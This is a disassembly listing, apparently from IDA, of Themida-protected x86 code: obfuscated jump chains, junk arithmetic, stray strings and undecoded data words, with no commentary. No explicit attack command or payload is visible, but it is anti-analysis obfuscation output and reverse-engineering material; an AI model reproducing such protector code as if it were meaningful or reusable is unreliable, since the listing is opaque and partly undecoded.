		dd 0D7BD0000h, 554F1462h, 81241C8Bh, 4C4h, 48935D00h, 14F75393h
		dd 0F3815B24h, 0D03FA8B0h, 1C8BDA29h, 4C48124h,	81000000h
		dd 4E40D0C2h, 0E9C20129h, 1E72h, 2C423D25h, 40002D7Fh
		dd 0C3010628h, 4C38358h, 5C241C87h, 765168h, 242C8900h
		dd 0BA52E589h, 4, 68A3C581h, 0CCE94D1Eh, 0BF000037h, 677B7A39h
		dd 5703EFC1h, 8B2404FFh, 0C481243Ch, 4,	4F07E7C1h, 65E3EF81h
		dd 8AE95E73h, 8700005Dh, 7EE9241Ch, 0C0000062h,	4FE902E2h
		dd 0FFFFFFF4h, 0EB16E932h, 0C328FFFFh, 66A6EB80h, 50C30058h
		dd 0E8C022B0h, 8E7DE906h, 48B0000h, 0E2895224h,	4C281h
		dd 22E90000h, 500006Ch,	4CC708E6h, 0AB4DE9h, 240C8900h
		dd 37E9B1B1h, 5C00006Eh, 34DB68h, 24048900h, 0D17929B8h
		dd 0A5BF577Bh, 0E956A55Dh, 6094h, 0B850E689h, 4, 48BC601h
		dd 4C48124h, 53000000h,	0AB63FABBh, 88F38131h, 817CCC54h
		dd 0F53D0BC3h, 0D5C3812Bh, 81523A4Eh, 0EC4846C3h, 94EB814Dh
		dd 2919830Bh, 3AF5E9DEh, 81E90000h, 89FFFFEAh, 4832424h
		dd 0E9590424h, 7BF9h, 0AADA55BEh, 5EF7316Bh, 25658D05h
		dd 2DF80169h, 6925658Dh, 938FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D2B61:				; CODE XREF: Themida_:005D1DC1j
		add	esp, 4
		push	ebp
		jmp	loc_5D76C5
; ---------------------------------------------------------------------------
aPWE_5awIXvsI	db 'Pw!_5w*XV[',0
		dd 2DE38100h, 0C168BC15h, 0E38105E3h, 0B3149CBh, 0ECB2EB81h
		dd 0D989CCBAh, 4AF1815Bh, 1334513h, 0A41DE9CEh,	2C890000h
		dd 4BD24h, 0C2E90000h, 81000050h, 4ECh,	241C8900h, 2BBh
		dd 5BDD0100h, 41D1E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2BCA:				; CODE XREF: Themida_:005D7FD0j
		mov	ecx, esi
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5DA5A2
; ---------------------------------------------------------------------------


loc_5D2BD6:				; CODE XREF: Themida_:005D25F5j
		mov	ah, bl
		mov	cl, ah
		jmp	loc_5DC021
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C15F2414h, 0EF8104E7h, 736ED2Ch, 3A9FC281h,	0FA010BB8h
		dd 9ACAE9h, 7FDFB900h, 0C1814F3Fh, 212B3842h, 6538C981h
		dd 0C181671Dh, 0D48B2C22h, 159CD01h, 0EAB3E9E8h, 0E953FFFFh
		dd 2FACh, 0AA76F181h, 0CB01A5C5h, 8BDD8959h, 0C483241Ch
		dd 9E47E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2C36:				; CODE XREF: Themida_:005DD15Fj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5D3E16
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 31241C33h,	1C33241Ch
		dd 4CE95C24h, 5D00009Dh, 5C241487h, 6BE9C330h, 0C1FFFFEAh
		dd 0F38107EBh, 5E635857h, 0E95BD931h, 86E6h
; ---------------------------------------------------------------------------


loc_5D2C80:				; CODE XREF: Themida_:005D74F2j
		push	edx
		mov	edx, 2D750B74h
		sub	edx, 17FD3002h
		jmp	loc_5D4141
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 9297h, 58C6C281h, 39E93A34h, 86FFFFEFh
		dd 0E9C7FEFDh, 6ECFh
; ---------------------------------------------------------------------------


loc_5D2CB0:				; CODE XREF: Themida_:005D1872j
		sub	edi, 77DB06A6h
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 78784A72h
		add	edi, ecx
		jmp	loc_5DD51F
; ---------------------------------------------------------------------------
		dd 5352C1FEh, 0D3F655B3h, 55CBE9h, 1C77FF00h, 6659669Dh
		dd 9C241CD3h, 0FFE8D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D2CE9:				; CODE XREF: Themida_:005DBDDCj
		push	esi
		mov	esi, 4
		jmp	loc_5DC4DA
; ---------------------------------------------------------------------------
		dd 186068h, 24148900h, 8904EC83h, 0EB88241Ch, 94E9DE88h
		dd 33000087h, 2C31242Ch, 242C3324h, 5342E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D2D19:				; CODE XREF: Themida_:005D7928j
		push	2CF9h
		mov	[esp], ebx
		push	edx
		jmp	loc_5D4C79
; ---------------------------------------------------------------------------
		db 89h
		dd 17BA2414h, 0C132090Ch, 0CA8107E2h, 3A274121h, 0E904EC83h
		dd 62EFh
; ---------------------------------------------------------------------------


loc_5D2D40:				; CODE XREF: Themida_:005DC05Dj
		and	edi, 1E9021CCh
		add	edi, 76977864h
		push	edx
		push	277Fh
		mov	[esp], ebx
		mov	ebx, 79F52329h
		add	ebx, 0BCBA2018h
		mov	edx, ebx
		pop	ebx
		xor	edx, 51C51E0h
		and	edx, 25F272B8h
		jmp	loc_5D3845
; ---------------------------------------------------------------------------
		dd 66D30058h, 0C0B60F5Ah, 720768h, 243C8900h, 80E95F54h
		dd 0FF0000A3h
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5DB64D
; ---------------------------------------------------------------------------
		db 66h
		dd 8BF52C5Ah, 19E9240Ch, 2D00000Eh, 0F6A276Ch, 6C05D801h
		dd 2D0F6A27h, 47E528B8h, 0D9BF5752h, 557CA136h,	0EA89FD89h
		dd 98CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D2DC5:				; CODE XREF: Themida_:005DD3A4j
		inc	ebp
		jmp	loc_5DBB44
; ---------------------------------------------------------------------------


loc_5D2DCB:				; CODE XREF: Themida_:005D74FDj
		inc	ebx
		push	eax
		jmp	loc_5DABE3
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0ECC73B5h, 0C381FB01h, 0ECC73B5h, 0E9C2315Fh, 0FFFFE7D4h
		dd 24048966h, 0FFE7CBE9h, 81DAF7FFh, 0D22FF8EAh, 5AD131A5h
		dd 0BFE9CD01h, 83000093h, 5A6604C4h, 7F8DE9h, 303FBE00h
		dd 0DEF73E6Eh, 0CFBDEE81h, 0F301C191h, 4EB835Eh, 7B56E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D2E25:				; CODE XREF: Themida_:005DD19Aj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5D9257
; ---------------------------------------------------------------------------
		dw 0F75Dh
		dd 65CA81DAh, 0F740764Dh, 81D2F7DAh, 7D9FA4F2h,	5AD589F6h
		dd 7FE9E829h, 68000045h, 798Fh,	54243C89h, 4C7815Fh, 83000000h
		dd 0E95504C7h, 877Ah, 5F90E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2E6A:				; CODE XREF: Themida_:005D6E00j
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		xor	[ebx], edx
		pop	ebx
		pop	eax
		xor	edx, [edi+20h]
		xor	[edi+20h], edx
		jmp	loc_5DC4FE
; ---------------------------------------------------------------------------
aASta		db '(ÀöTa',0
		db 0
; ---------------------------------------------------------------------------


loc_5D2E8B:				; CODE XREF: Themida_:005D2558j
		add	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		add	[esp+4], edi
		push	ecx
		jmp	loc_5D34DC
; ---------------------------------------------------------------------------


loc_5D2E9F:				; CODE XREF: Themida_:005D181Fj
		add	ebx, edi
		pop	edi
		jmp	loc_5D706B
; ---------------------------------------------------------------------------
aBZzJs		db 'Zz',8,'j{',0
		align 2
		dw 1433h
		dd 24248B24h, 0C8BE0F66h, 1FB66866h, 1E8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D2EC5:				; CODE XREF: Themida_:005D9AFBj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5DCA24
; ---------------------------------------------------------------------------
		dd 97ED80h, 97C580FDh, 81241C8Bh, 4C4h,	80DDF600h, 30E9FFEDh
		dd 8700006Ch, 248B243Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	2D40h
		mov	[esp], eax
		jmp	loc_5D8F09
; ---------------------------------------------------------------------------
		db 0FFh
		dd 58042474h, 5C24048Fh, 240C8966h, 0FFE69BE9h,	7DE954FFh
		dd 8BFFFFF2h, 0C4812414h, 4, 3AEDE981h,	0C9816936h, 24A04FD1h
		dd 0F9E98149h, 1F9AB1Fh, 0BB5359CDh, 52443C8h, 3FE9DF29h
		dd 5800004Bh, 347AE9h, 67700500h, 565A24BCh, 6E58E9h, 0B2525300h
		dd 5AD3880Dh, 0E90CEB80h, 0A245h
; ---------------------------------------------------------------------------


loc_5D2F74:				; CODE XREF: Themida_:005D8EA7j
		shl	ebx, 2
		not	ebx
		jmp	loc_5DA803
; ---------------------------------------------------------------------------


loc_5D2F7E:				; CODE XREF: Themida_:005D7A0Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5D9F7A
; ---------------------------------------------------------------------------
		db 68h,	2Ch, 2Fh
		dd 1C890000h, 7538BB24h, 0C3835C4Fh, 81D3F701h,	963766EBh
		dd 14F7534Eh, 241C8B24h, 479DE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2FBA:				; CODE XREF: Themida_:005D7BE4j
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		mov	ecx, 52D93994h
		xor	[esp+4], ecx
		jmp	loc_5D5E78
; ---------------------------------------------------------------------------
		db 81h
		dd 0B0394BF5h, 63EE932h, 0F6810000h, 11932B6h, 5304EEC1h
		dd 0E4CE7BBh, 1CF38173h, 216DA611h, 56E8E9DEh, 0EA810000h
		dd 782B3531h, 0C281EA01h, 782B3531h, 357AE9h, 5585400h
		dd 4, 4BB53h, 0EB2D0000h, 0E966E800h, 9B4Ah, 1E0229BEh
		dd 5B5AE937h, 2C870000h, 24248B24h, 9C243CD2h, 6F4E9h
		dd 85BD5500h, 0E92C7C05h, 9FFBh
; ---------------------------------------------------------------------------


loc_5D3044:				; CODE XREF: Themida_:005D3EC9j
		sub	esi, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5D5FAD
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 565DE801h, 93D0E9h, 5BD80100h, 778FBA52h,	99E90818h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3077:				; CODE XREF: Themida_:005D81E4j
		shl	edx, 2
		xor	edx, 36250AD1h
		and	eax, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5DBFB0
; ---------------------------------------------------------------------------


loc_5D3092:				; CODE XREF: Themida_:005DAEF3j
		sub	ebx, edx
		jmp	loc_5DCDE2
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 0D6048104h, 2474293Ch, 24448104h, 0D6048104h, 0EC835E3Ch
		dd 241C8904h, 46D268h, 0F3D8E900h, 0E954FFFFh, 50A7h
; ---------------------------------------------------------------------------


loc_5D30C4:				; CODE XREF: Themida_:005D2913j
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5D4183
; ---------------------------------------------------------------------------


loc_5D30D1:				; CODE XREF: Themida_:005D7C70j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	6162225Ch
		jmp	loc_5DC4D1
; ---------------------------------------------------------------------------
		dd 0FFE4D3E9h, 2434FFFFh, 0FFF0C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D30F1:				; CODE XREF: Themida_:005D1864j
		shr	edx, 8
		push	ecx
		mov	ecx, 0
		jmp	loc_5D8B55
; ---------------------------------------------------------------------------


loc_5D30FF:				; CODE XREF: Themida_:005D8B50j
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, 2FD96EE3h
		add	eax, edi
		push	ecx
		mov	ecx, 333D611Ah
		jmp	loc_5D5D81
; ---------------------------------------------------------------------------


loc_5D3119:				; CODE XREF: Themida_:005D2715j
		push	3784h
		mov	[esp], edx
		jmp	loc_5D62C8
; ---------------------------------------------------------------------------
		dw 4FFh
		dd 0D7F75F24h, 0EF81D7F7h, 297492D0h, 895FFD01h, 37E95DE9h
		dd 8100000Eh, 4C3h, 9703E900h, 8B660000h, 89502404h, 0F0B951E0h
		dd 0D137460Dh, 0B4B850E9h, 157C207h, 0E98158C1h, 1, 4F84C981h
		dd 0E9813EABh, 7FEF4FABh, 0C8BC801h, 4C48124h, 52000000h
		dd 2BAh, 7E95500h, 0BB000035h, 54851516h, 0E95DEB31h, 753Bh
		dd 0E959CD01h, 0FFFFF6EDh
; ---------------------------------------------------------------------------


loc_5D31A0:				; CODE XREF: Themida_:005D5661j
		mov	[esp], eax
		push	24h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 51900AA8h
		add	eax, edi
		push	esi
		mov	esi, 51900AA8h
		sub	eax, esi
		pop	esi
		jmp	loc_5D6EF5
; ---------------------------------------------------------------------------


loc_5D31C4:				; CODE XREF: Themida_:005D3FE0j
		mov	ebp, 225C0CFAh
		sub	ebp, 1701054Fh
		neg	ebp
		sub	ebp, 0F4A4F851h
		add	esi, ebp
		jmp	loc_5D8DEE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89532404h, 459A68E3h, 4890000h, 4B824h, 8EE90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D31F7:				; CODE XREF: Themida_:005DD7F4j
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		dd 41A9C781h, 34E97F1Bh, 83000026h, 0EC8304C4h,	241C8904h
		dd 0B0013BBBh, 0CC28111h, 81209C42h, 481DDAC2h,	81DA0121h
		dd 481DDAEAh, 92BE5621h, 81117B52h, 1569D8EEh, 9E88E96Ah
		dd 81660000h, 4A04246Ch, 3000E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3246:				; CODE XREF: Themida_:005D16B4j
		xchg	edx, ebp
		push	edx
		jmp	loc_5DAB97
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 31243433h, 34332434h, 24248B24h, 24048966h, 0FFE353E9h
		dd 0CD814DFFh, 7F1C227Bh, 1D73E9h, 0E9D82900h, 535Dh
; ---------------------------------------------------------------------------


loc_5D327C:				; CODE XREF: Themida_:005DA3E3j
		mov	[esp], ecx
		push	4ECF510Ch
		pop	ecx
		inc	ecx
		push	ebp
		mov	ebp, 307954D3h
		shr	ebp, 7
		not	ebp
		shl	ebp, 6
		jmp	loc_5DA6C2
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 7Bh
		dd 115AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D32A1:				; CODE XREF: Themida_:005D2273j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5D3D21
; ---------------------------------------------------------------------------
		dw 0DE9h
		dd 29FFFFE3h, 0C1E95DEFh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5D32B7:				; CODE XREF: Themida_:005DB850j
		push	6E53h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5D51A6
; ---------------------------------------------------------------------------
		db 81h
		dd 0C07DD9EDh, 0D9C5810Ch, 3187DE16h, 15A5DE8h,	0D76858C5h
		dd 89000028h, 0DFE92404h, 89000034h, 4FF240Ch, 3D2BE924h
		dd 0C6810000h, 4, 4C681h, 34870000h, 54515C24h,	4C18159h
		dd 83000000h, 0C8704E9h, 14895C24h, 409CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D331A:				; CODE XREF: Themida_:005D9FDDj
		pop	esi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		jmp	loc_5DD264
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5000000h, 0DF86261h,	612DF001h, 5E0DF862h, 405h, 74FF5000h
		dd 8F580424h, 248B2404h, 2424D324h, 0FFE267E9h,	81E389FFh
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 21D0h, 9DE9D829h
		dd 81000076h, 4C7h, 243C8700h, 83C3285Ch, 48904ECh, 7BC5E924h
		dd 0E95F0000h, 2D8Ah, 245AF008h, 10EAE94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D339A:				; CODE XREF: Themida_:005D1A4Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edi, 4
		jmp	loc_5D446A
; ---------------------------------------------------------------------------
aPsN		db 'P>',0
		align 2
		dw 295Eh
		dd 2434FFEBh, 4C4835Dh,	406C68h, 24048900h, 0FFE1F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D33C9:				; CODE XREF: Themida_:005D7A2Cj
		xor	edx, 79FBEF8Eh
		jmp	loc_5D5F96
; ---------------------------------------------------------------------------
		dd 1C8BDA21h, 4C48324h,	8DF281h, 0C6E90890h, 5300002Ch
		dd 82CBE9h, 48F5400h, 24048324h, 0C1815904h, 4,	3B6F68h
		dd 243C8900h, 4BFh, 0E8C18100h,	291D1852h, 0E8E981F9h
		dd 5F1D1852h, 3960E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D341D:				; CODE XREF: Themida_:005D9CADj
		push	dword ptr [esp+4]
		jmp	loc_5DB03A
; ---------------------------------------------------------------------------
		dw 1C89h
aTsV		db '$Tv',0
		dw 5A00h
		dd 8102E3C1h, 9A06F1C3h, 68C3813Eh, 811D4309h, 15B3D5C3h
		dd 6CDAE9C4h, 0ED810000h, 26F55119h, 213ED81h, 6C81C4B8h
		dd 4A220424h, 6C0130F6h, 0EC830424h, 24048904h,	36A7BB53h
		dd 7BB86A39h, 0E9C6BD13h, 0FFFFEAE9h
; ---------------------------------------------------------------------------


loc_5D3478:				; CODE XREF: Themida_:005D5347j
		pop	esi
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		idiv	ecx
		push	1E67h
		jmp	loc_5D6FBE
; ---------------------------------------------------------------------------


loc_5D3492:				; CODE XREF: Themida_:005DAC98j
		pop	esi
		jmp	loc_5D15C2
; ---------------------------------------------------------------------------
		dd 34FFF831h, 2434FF24h, 4C4815Fh, 53000000h, 88C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D34AD:				; CODE XREF: Themida_:005D62C3j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5D83F2
; ---------------------------------------------------------------------------


loc_5D34BC:				; CODE XREF: Themida_:005DB3D6j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, esi
		pop	esi
		and	ecx, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 2C678BEh
		jmp	loc_5D4F3F
; ---------------------------------------------------------------------------


loc_5D34DC:				; CODE XREF: Themida_:005D2E9Aj
		mov	ecx, 2AF05DF4h
		jmp	loc_5DD18B
; ---------------------------------------------------------------------------


loc_5D34E6:				; CODE XREF: Themida_:005D5214j
		push	esi
		push	1A390AAAh
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 491F4894h
		jmp	loc_5D6F25
; ---------------------------------------------------------------------------
		db 0E9h, 0BAh, 0E0h
		dd 0E95EFFFFh, 35C9h, 24048B66h, 55E18951h, 1AA4BF57h
		dd 81571CAEh, 43472404h, 35E95888h, 8B000033h, 0C481241Ch
		dd 4, 88D08850h, 24048BC1h, 4C481h, 148B0000h, 4C48124h
		dd 58000000h, 0AFE9C800h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D354B:				; CODE XREF: Themida_:005D75A3j
		mov	edi, 3DFE7D22h
		xor	edi, 31A44C0Fh
		jmp	loc_5DC5B6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 9483h, 1444C381h
		dd 53E950CEh, 5B000083h, 8B242C87h, 3BE92424h, 0E9000026h
		dd 0FFFFE030h, 4B8h, 4CED8100h,	8138E670h, 94F57EDh, 15C5816Dh
		dd 16C7559h, 15ED81C5h,	816C7559h, 94F57C5h, 9F83E96Dh
		dd 46460000h, 19CDCE81h, 0EE811312h, 0F1A34249h, 12BBC381h
		dd 0F3015144h, 12BBEB81h, 815E5144h, 0BE39F3F3h, 2F41E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D35DE:				; CODE XREF: Themida_:005D390Aj
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	dl, 0F1h
		push	ax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 50h
		mov	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	ah, 0EEh
		not	ah
		sub	ah, 0Eh
		jmp	loc_5D4F52
; ---------------------------------------------------------------------------


loc_5D360A:				; CODE XREF: Themida_:005DD2EBj
		add	ebx, 78C841A8h
		sub	esp, 4
		jmp	loc_5D60FD
; ---------------------------------------------------------------------------
		dd 5752DDF7h, 0A047AABFh, 0E9D7F705h, 84DEh, 4C581h, 0B9510000h
		dd 2, 367DE9h, 24048F00h, 4240483h, 4EC835Eh, 53240489h
		dd 387003BBh, 7007B861h, 0D8316138h, 0EDEE815Bh, 81471559h
		dd 0EF7A2AEEh, 81C6017Dh, 0EF7A2AC6h, 0EDC6817Dh, 58471559h
		dd 26850h, 0E9580000h, 0E81h, 24048B66h, 57E38953h, 22712DBFh
		dd 10AFE96Eh, 5C010000h, 0BE560424h, 6B6F5ACBh,	8247401h
		dd 348B5B5Eh, 7499E924h, 81460000h, 1F0A8AEEh, 46D6F73Dh
		dd 62E9E9h, 5BF88800h, 0C188515Ah, 5859CB88h, 0FFD83059h
		dd 505B2434h, 857DE9h, 4BF5700h, 51000000h, 0ACFE9h, 62C38100h
		dd 8125F32Dh, 0AD5650EBh, 0D79E92Ch, 0DDF70000h, 3E81F581h
		dd 0ED817491h, 0F7486716h, 2F0CC781h, 0EF01248Fh, 2F0CEF81h
		dd 2C8B248Fh, 39FE6824h, 14890000h, 148B5424h, 5E77E924h
		dd 0C1380000h, 0F26EE99Ch, 0C681FFFFh, 10A348A3h, 5C02E9h
		dd 0DE8AE900h, 5351FFFFh, 0F0B583B7h, 0E95BFD00h, 6697h
; ---------------------------------------------------------------------------


loc_5D3740:				; CODE XREF: Themida_:005DA976j
		add	esp, 4
		push	edx
		push	ebp
		mov	edx, [esp]
		jmp	loc_5D6D13
; ---------------------------------------------------------------------------


loc_5D374D:				; CODE XREF: Themida_:005D15BDj
		push	ecx
		mov	ch, 5Ch
		xor	ch, 0Ch
		push	small 562Ah
		mov	[esp], dx
		mov	dl, 30h
		or	ch, dl
		mov	dx, [esp]
		add	esp, 2
		add	ch, 0CDh
		add	al, ch
		pop	ecx
		jmp	loc_5D7C40
; ---------------------------------------------------------------------------


loc_5D3774:				; CODE XREF: Themida_:005DBD61j
		shl	esi, 3
		or	esi, 27470294h
		push	edi
		jmp	loc_5D8098
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 2434FF04h, 4C4835Ah, 0E9515266h,	6160h
		dd 441570BBh, 1C3834Ch,	2100F381h, 0F3811D24h, 42CE55D9h
		dd 1C8BD801h, 4C48324h,	144EE9h, 1C77FF00h, 0D259669Dh
		dd 0E99C2414h, 0FFFFDDF4h, 247C0166h, 665F6604h, 2244481h
		dd 816654C7h, 0AC022444h, 4C01664Bh, 81660224h,	0AC02246Ch
		dd 6C81664Bh, 54C70224h, 56EBE9h, 8BDA0100h, 0C481241Ch
		dd 4, 148BD301h, 4C48324h, 5C241C87h, 2F17E9h, 0B5E98000h
		dd 34FFC828h, 40E95924h, 31000031h, 34332434h, 24343124h
		dd 83241C8Bh, 4AE904C4h, 68000099h, 3DB6h, 90BDE9h, 0CCB25200h
		dd 1176E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D3845:				; CODE XREF: Themida_:005D2D6Fj
		xor	edx, 64822DF9h
		jmp	loc_5D20F8
; ---------------------------------------------------------------------------


loc_5D3850:				; CODE XREF: Themida_:005D3C58j
		push	ebp
		jmp	loc_5DA48F
; ---------------------------------------------------------------------------


loc_5D3856:				; CODE XREF: Themida_:005D2766j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5D5A09
; ---------------------------------------------------------------------------
aAbVsas_p	db 'A,.p',0
		align 4


loc_5D386C:				; CODE XREF: Themida_:005D9CC5j
		push	esi
		mov	esi, 2
		add	ebp, 5207761Ah
		jmp	loc_5D5824
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 937B80BEh, 0EBCE816Eh, 816AA87Ch,	2B4B3DCEh
		dd 0B6B85060h, 903E228h, 45C2E9C6h, 0E7890000h,	0F5F68h
		dd 0F2F8E900h, 34FFFFFFh, 0E9575824h, 81B2h, 242C8B58h
		dd 4C481h, 0F5E90000h, 0FFFFFFDCh, 5A042474h, 0E924048Fh
		dd 1052h
; ---------------------------------------------------------------------------


loc_5D38D4:				; CODE XREF: Themida_:005DB115j
		add	ebp, 0AE46EF9Ch
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		pop	ebp
		jmp	loc_5D39DF
; ---------------------------------------------------------------------------


loc_5D38E9:				; CODE XREF: Themida_:005DB7BEj
		and	eax, edi
		pop	edi
		jmp	loc_5D3AAC
; ---------------------------------------------------------------------------
		align 2
		dw 0E9C8h
		dd 271Eh
; ---------------------------------------------------------------------------


loc_5D38F8:				; CODE XREF: Themida_:005D1ACEj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5D35DE
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5CCCh, 54243489h,	7863685Eh, 2C890000h, 81E58924h
		dd 4C5h, 4ED8100h, 55000000h, 42474FFh,	24048F5Dh, 1B27E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3942:				; CODE XREF: Themida_:005DADE1j
		pop	edi
		push	ebp
		pop	edi
		pop	ebp
		jmp	loc_5D3D57
; ---------------------------------------------------------------------------
aZs		db ')Z',0
		dw 2000h
		dd 0F28058C2h, 8BD028E9h, 0C4812414h, 4, 3CB25251h, 0FEA6EA80h
		dd 6FEA80CAh, 0C2CE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3976:				; CODE XREF: Themida_:005DB29Dj
		and	eax, ecx
		jmp	loc_5D7FEB
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 6
		dd 6926B850h, 0C63176EBh, 81C68158h, 31E28740h,	0F5815EF5h
		dd 288D2A3Eh, 0ED81D5F7h, 8B4757Fh, 0E9DDF745h,	2CDFh
		dd 8159CA01h, 5238AC2h,	83FA013Dh, 2C8904ECh, 0EED5E924h
		dd 8758FFFFh, 248B242Ch, 240C8924h, 0FFDBEFE9h,	815958FFh
		dd 4C1h, 2D406800h, 5BE90000h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D39DF:				; CODE XREF: Themida_:005D38E4j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_5DD1FE
; ---------------------------------------------------------------------------
aBMrYs2u	db '^Mry2',0
		align 4
aSO		db '(:',0
		db 0
; ---------------------------------------------------------------------------


loc_5D39FF:				; CODE XREF: Themida_:005DA1F5j
		push	72Dh
		jmp	loc_5D84C8
; ---------------------------------------------------------------------------
aI		db '!',0
		dw 0CA81h
		dd 200C1A71h, 18B85042h, 402D0A57h, 132D4040h, 14DF993h
		dd 9E958C2h, 5A00001Dh,	5066C328h, 0E966B353h, 45CEh, 4C381h
		dd 0C3830000h, 241C8702h, 6624248Bh, 5624048Bh,	2F5768h
		dd 0E2E95400h, 89FFFFFBh, 4812424h, 424h, 0C5815D00h, 4
		dd 4C581h, 93E90000h, 8B000047h, 6A682414h, 89000008h
		dd 0E789243Ch, 4C781h, 0E9510000h, 8C9h, 0E92C77FFh, 0FFFFDB28h
; ---------------------------------------------------------------------------


loc_5D3A94:				; CODE XREF: Themida_:005DBFBAj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5D7C9E
; ---------------------------------------------------------------------------


loc_5D3AAC:				; CODE XREF: Themida_:005D38ECj
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, edx
		xchg	ebp, edx
		push	7403h
		mov	[esp], ebp
		xchg	ecx, [esp]
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5DA96A
; ---------------------------------------------------------------------------
		db 80h,	0EEh, 45h
		dd 83240C8Bh, 0F32804C4h, 8124148Bh, 4C4h, 66C32800h, 0D6B45052h
		dd 8904EC83h, 57B5240Ch, 0CDFECDFEh, 8A13E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D3AF5:				; CODE XREF: Themida_:005DC01Cj
		pop	esi
		add	edx, 43982E9Dh
		add	edx, edi
		sub	edx, 43982E9Dh
		jmp	loc_5D5124
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
aSiusG		db 'S=g',0
		align 4


loc_5D3B14:				; CODE XREF: Themida_:005D9F24j
		push	esp
		jmp	loc_5D81C8
; ---------------------------------------------------------------------------
		dw 34FFh
